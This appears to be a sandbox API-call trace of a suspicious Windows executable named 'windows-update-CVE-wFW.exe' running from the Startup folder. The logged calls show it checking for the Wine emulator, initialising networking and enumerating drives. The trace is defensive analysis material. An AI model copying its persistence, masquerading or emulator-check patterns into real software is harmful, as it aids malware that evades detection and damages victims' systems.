	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e6a6" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 48
	os_tid = 0xc30


Thread:
	id = 49
	os_tid = 0xc2c


Thread:
	id = 50
	os_tid = 0xc28


Thread:
	id = 51
	os_tid = 0xc24


Thread:
	id = 52
	os_tid = 0x9c8


Thread:
	id = 53
	os_tid = 0x9c0


Thread:
	id = 54
	os_tid = 0x9bc


Thread:
	id = 55
	os_tid = 0x648


Thread:
	id = 56
	os_tid = 0x644


Thread:
	id = 57
	os_tid = 0x5f8


Thread:
	id = 58
	os_tid = 0x5f4


Thread:
	id = 59
	os_tid = 0x5f0


Thread:
	id = 60
	os_tid = 0x568


Process:
	id = "12"
	image_name = "windows-update-cve-wfw.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe"
	page_root = "0x4dd37000"
	os_pid = "0xfac"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "10"
	os_parent_pid = "0xdd4"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\windows-update-CVE-wFW.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 61
	os_tid = 0xfb0

	[0225.795] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7fff4f780000
	[0225.796] GetProcAddress (hModule=0x7fff4f780000, lpProcName="AddDllDirectory") returned 0x7fff4c9b2300
	[0225.796] GetProcAddress (hModule=0x7fff4f780000, lpProcName="AddVectoredContinueHandler") returned 0x7fff4f8c0620
	[0225.796] GetProcAddress (hModule=0x7fff4f780000, lpProcName="LoadLibraryExA") returned 0x7fff4f79dfc0
	[0225.796] GetProcAddress (hModule=0x7fff4f780000, lpProcName="LoadLibraryExW") returned 0x7fff4f798f20
	[0225.796] LoadLibraryExA (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4ce00000
	[0226.318] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="SystemFunction036") returned 0x7fff4b711970
	[0226.370] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4f830000
	[0226.370] GetProcAddress (hModule=0x7fff4f830000, lpProcName="NtWaitForSingleObject") returned 0x7fff4f8d5410
	[0226.370] GetProcAddress (hModule=0x7fff4f830000, lpProcName="NtQueryInformationProcess") returned 0x7fff4f8d56b0
	[0226.370] LoadLibraryExA (lpLibFileName="winmm.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4a300000
	[0226.388] GetProcAddress (hModule=0x7fff4a300000, lpProcName="timeBeginPeriod") returned 0x7fff4a301040
	[0226.388] GetProcAddress (hModule=0x7fff4a300000, lpProcName="timeEndPeriod") returned 0x7fff4a3028e0
	[0226.388] LoadLibraryExA (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4e0e0000
	[0226.392] GetProcAddress (hModule=0x7fff4e0e0000, lpProcName="WSAGetOverlappedResult") returned 0x7fff4e0f3de0
	[0226.392] GetProcAddress (hModule=0x7fff4f830000, lpProcName="wine_get_version") returned 0x0
	[0226.393] SetErrorMode (uMode=0x2) returned 0x0
	[0226.393] SetErrorMode (uMode=0x8003) returned 0x2
	[0226.393] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x1149980) returned 0x192c63d1680
	[0226.393] RtlAddVectoredContinueHandler (First=0x1, Handler=0x11499a0) returned 0x192c63d1ad0
	[0226.394] RtlAddVectoredContinueHandler (First=0x0, Handler=0x11499c0) returned 0x192c63d17a0
	[0226.394] SetConsoleCtrlHandler (HandlerRoutine=0x11499e0, Add=1) returned 1
	[0226.394] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0226.395] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x706fdffe18, lpSystemAffinityMask=0x706fdffe10 | out: lpProcessAffinityMask=0x706fdffe18, lpSystemAffinityMask=0x706fdffe10) returned 1
	[0226.395] GetSystemInfo (in: lpSystemInfo=0x706fdffe80 | out: lpSystemInfo=0x706fdffe80*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) 
	[0226.396] SetProcessPriorityBoost (hProcess=0xffffffffffffffff, bDisablePriorityBoost=1) returned 1
	[0226.400] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x192c6330000
	[0226.400] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x192c6370000
	[0226.401] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x192c64c0000
	[0226.401] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x192c6670000
	[0226.402] VirtualAlloc (lpAddress=0x0, dwSize=0x4000000, flAllocationType=0x2000, flProtect=0x4) returned 0x192c6e70000
	[0226.415] VirtualAlloc (lpAddress=0x0, dwSize=0x20000000, flAllocationType=0x2000, flProtect=0x4) returned 0x192cae70000
	[0226.522] SystemFunction036 (in: RandomBuffer=0x13b43b0, RandomBufferLength=0x8 | out: RandomBuffer=0x13b43b0) returned 1
	[0226.522] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000000000
	[0226.523] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x3000, flProtect=0x4) returned 0x192eae70000
	[0226.524] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192c6390000
	[0226.525] VirtualAlloc (lpAddress=0x192c6370000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x192c6370000
	[0226.525] VirtualAlloc (lpAddress=0x192c6540000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x192c6540000
	[0226.526] VirtualAlloc (lpAddress=0x192c6a76000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x192c6a76000
	[0226.526] VirtualAlloc (lpAddress=0x192c8ea0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x192c8ea0000
	[0226.526] VirtualAlloc (lpAddress=0x192daff0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x192daff0000
	[0226.527] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x192eb670000
	[0226.529] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x192c65c0000
	[0226.530] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x192c65d0000
	[0226.530] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000000000
	[0226.531] VirtualAlloc (lpAddress=0xc000002000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000002000
	[0226.531] SystemFunction036 (in: RandomBuffer=0x13b4800, RandomBufferLength=0x80 | out: RandomBuffer=0x13b4800) returned 1
	[0226.531] VirtualAlloc (lpAddress=0xc000004000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000004000
	[0226.532] VirtualAlloc (lpAddress=0xc000006000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000006000
	[0226.533] GetEnvironmentStringsW () returned 0x192c63d5110*
	[0226.533] VirtualAlloc (lpAddress=0xc000008000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000008000
	[0226.533] VirtualAlloc (lpAddress=0xc00000a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000a000
	[0226.534] VirtualAlloc (lpAddress=0xc00000c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000c000
	[0226.534] VirtualAlloc (lpAddress=0xc00000e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000e000
	[0226.535] VirtualAlloc (lpAddress=0xc000010000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000010000
	[0226.535] VirtualAlloc (lpAddress=0xc000012000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000012000
	[0226.536] VirtualAlloc (lpAddress=0xc000014000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000014000
	[0226.536] VirtualAlloc (lpAddress=0xc000016000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000016000
	[0226.537] FreeEnvironmentStringsW (penv=0x192c63d5110) returned 1
	[0226.537] LoadLibraryExA (lpLibFileName="powrprof.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4bd00000
	[0226.541] GetProcAddress (hModule=0x7fff4bd00000, lpProcName="PowerRegisterSuspendResumeNotification") returned 0x7fff4bd02240
	[0226.542] PowerRegisterSuspendResumeNotification (in: Flags=0x2, Recipient=0x706fdffdb0, RegistrationHandle=0x706fdffd98 | out: RegistrationHandle=0x706fdffd98) returned 0x0
	[0226.543] VirtualAlloc (lpAddress=0xc000018000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000018000
	[0226.545] VirtualAlloc (lpAddress=0xc000022000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000022000
	[0226.545] VirtualAlloc (lpAddress=0xc000024000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000024000
	[0226.546] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x706fdffe08, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x706fdffe08*=0xd0) returned 1
	[0226.546] VirtualQuery (in: lpAddress=0x706fdffe28, lpBuffer=0x706fdffe28, dwLength=0x30 | out: lpBuffer=0x706fdffe28*(BaseAddress=0x706fdff000, AllocationBase=0x706fc00000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0226.546] VirtualAlloc (lpAddress=0xc00002c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002c000
	[0226.547] VirtualAlloc (lpAddress=0xc00002e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002e000
	[0226.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00002c400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0226.548] CloseHandle (hObject=0xd4) returned 1
	[0226.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00002c800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0226.550] CloseHandle (hObject=0xd4) returned 1
	[0226.550] VirtualAlloc (lpAddress=0xc000030000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000030000
	[0226.551] VirtualAlloc (lpAddress=0xc000038000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000038000
	[0226.552] VirtualAlloc (lpAddress=0xc00003a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003a000
	[0226.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00002cc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0226.553] CloseHandle (hObject=0xd4) returned 1
	[0226.553] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd4
	[0226.553] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd8
	[0226.553] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0226.582] VirtualAlloc (lpAddress=0xc000086000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000086000
	[0226.583] VirtualAlloc (lpAddress=0xc000088000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000088000
	[0226.584] VirtualAlloc (lpAddress=0xc00008a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008a000
	[0226.584] VirtualAlloc (lpAddress=0xc00008c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008c000
	[0226.584] VirtualAlloc (lpAddress=0xc00008e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008e000
	[0226.585] VirtualAlloc (lpAddress=0xc000090000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000090000
	[0226.585] VirtualAlloc (lpAddress=0xc000092000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000092000
	[0226.585] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4f780000
	[0226.586] VirtualAlloc (lpAddress=0xc000094000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000094000
	[0226.586] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetStdHandle") returned 0x7fff4f79beb0
	[0226.586] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0226.586] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetHandleInformation") returned 0x7fff4f7a1ed0
	[0226.586] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0226.586] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0226.586] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0226.586] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0226.586] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0226.587] VirtualAlloc (lpAddress=0xc000096000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000096000
	[0226.587] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetSystemDirectoryW") returned 0x7fff4f798ca0
	[0226.587] GetSystemDirectoryW (in: lpBuffer=0xc000096000, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0226.587] VirtualAlloc (lpAddress=0xc000098000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000098000
	[0226.588] VirtualAlloc (lpAddress=0xc00009a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009a000
	[0226.588] VirtualAlloc (lpAddress=0xc00009c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009c000
	[0226.588] VirtualAlloc (lpAddress=0xc00009e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009e000
	[0226.589] VirtualAlloc (lpAddress=0xc0000a0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a0000
	[0226.590] VirtualAlloc (lpAddress=0xc0000a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a4000
	[0226.590] VirtualAlloc (lpAddress=0xc0000a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a6000
	[0226.591] VirtualAlloc (lpAddress=0xc0000a8000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a8000
	[0226.593] VirtualAlloc (lpAddress=0xc0000b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b6000
	[0226.593] VirtualAlloc (lpAddress=0xc0000b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b8000
	[0226.593] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4e0e0000
	[0226.594] GetProcAddress (hModule=0x7fff4e0e0000, lpProcName="WSAStartup") returned 0x7fff4e0e1710
	[0226.594] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc000029d20 | out: lpWSAData=0xc000029d20) returned 0
	[0226.601] VirtualAlloc (lpAddress=0xc0000ba000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ba000
	[0226.602] VirtualAlloc (lpAddress=0xc0000ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ca000
	[0226.602] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetFileCompletionNotificationModes") returned 0x7fff4f79bfd0
	[0226.603] GetProcAddress (hModule=0x7fff4e0e0000, lpProcName="WSAEnumProtocolsW") returned 0x7fff4e0f7910
	[0226.603] WSAEnumProtocolsW (in: lpiProtocols=0xc0000c4e68, lpProtocolBuffer=0xc0000c4e70, lpdwBufferLength=0xc0000c4e64 | out: lpProtocolBuffer=0xc0000c4e70, lpdwBufferLength=0xc0000c4e64) returned 4
	[0226.614] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetConsoleMode") returned 0x7fff4f7a2850
	[0226.614] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0226.614] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetFileType") returned 0x7fff4f7a2350
	[0226.614] GetFileType (hFile=0x0) returned 0x0
	[0226.615] VirtualAlloc (lpAddress=0xc0000cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000cc000
	[0226.615] VirtualAlloc (lpAddress=0xc0000ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ce000
	[0226.615] SetEvent (hEvent=0xfc) returned 1
	[0226.615] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0226.616] GetFileType (hFile=0x0) returned 0x0
	[0226.616] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0226.616] GetFileType (hFile=0x0) returned 0x0
	[0226.616] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetCommandLineW") returned 0x7fff4f79dbe0
	[0226.616] GetCommandLineW () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\windows-update-CVE-wFW.exe\" "
	[0226.616] VirtualAlloc (lpAddress=0xc0000d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d0000
	[0226.616] VirtualAlloc (lpAddress=0xc0000d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d2000
	[0226.617] VirtualAlloc (lpAddress=0xc0000d4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d4000
	[0226.617] VirtualAlloc (lpAddress=0xc0000d8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d8000
	[0226.618] VirtualAlloc (lpAddress=0xc0000da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000da000
	[0226.619] VirtualAlloc (lpAddress=0xc0000dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000dc000
	[0226.630] VirtualAlloc (lpAddress=0xc0000de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000de000
	[0226.630] VirtualAlloc (lpAddress=0xc0000e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e0000
	[0226.631] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetEnvironmentVariableW") returned 0x7fff4f79b350
	[0226.631] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0000e0000, nSize=0x64 | out: lpBuffer="") returned 0x0
	[0226.631] VirtualAlloc (lpAddress=0xc0000e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e2000
	[0226.631] VirtualAlloc (lpAddress=0xc0000e4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e4000
	[0226.631] VirtualAlloc (lpAddress=0xc0000e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e8000
	[0226.632] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7fff4f780000
	[0226.632] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetStdHandle") returned 0x7fff4f79beb0
	[0226.632] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0226.632] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetHandleInformation") returned 0x7fff4f7a1ed0
	[0226.632] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0226.632] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0226.632] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0226.632] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0226.632] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0226.632] VirtualAlloc (lpAddress=0xc0000ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ea000
	[0226.633] VirtualAlloc (lpAddress=0xc0000ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ec000
	[0226.633] VirtualAlloc (lpAddress=0xc0000ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ee000
	[0226.633] VirtualAlloc (lpAddress=0xc0000f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f0000
	[0226.633] VirtualAlloc (lpAddress=0xc0000f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f2000
	[0226.634] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0xc0000e00d0, nSize=0x64 | out: lpBuffer="C:") returned 0x2
	[0226.634] VirtualAlloc (lpAddress=0xc0000f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f4000
	[0226.634] VirtualAlloc (lpAddress=0xc0000f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f6000
	[0226.634] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4f780000
	[0226.635] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetModuleFileNameW") returned 0x7fff4f79bfa0
	[0226.635] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc0000f4000, nSize=0x400 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\windows-update-CVE-wFW.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe")) returned 0x57
	[0226.635] GetProcAddress (hModule=0x7fff4f780000, lpProcName="CreateFileW") returned 0x7fff4f7a2100
	[0226.635] CreateFileW (lpFileName="C:\\" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.635] GetProcAddress (hModule=0x7fff4f780000, lpProcName="FindFirstFileW") returned 0x7fff4f7a21e0
	[0226.635] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x192c63cdac0
	[0226.641] CreateFileW (lpFileName="A:\\" (normalized: "a:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.641] FindFirstFileW (in: lpFileName="A:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.646] CreateFileW (lpFileName="B:\\" (normalized: "b:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.647] FindFirstFileW (in: lpFileName="B:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.651] CreateFileW (lpFileName="D:\\" (normalized: "d:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.653] FindFirstFileW (in: lpFileName="D:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.657] CreateFileW (lpFileName="E:\\" (normalized: "e:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.658] FindFirstFileW (in: lpFileName="E:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.663] CreateFileW (lpFileName="F:\\" (normalized: "f:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
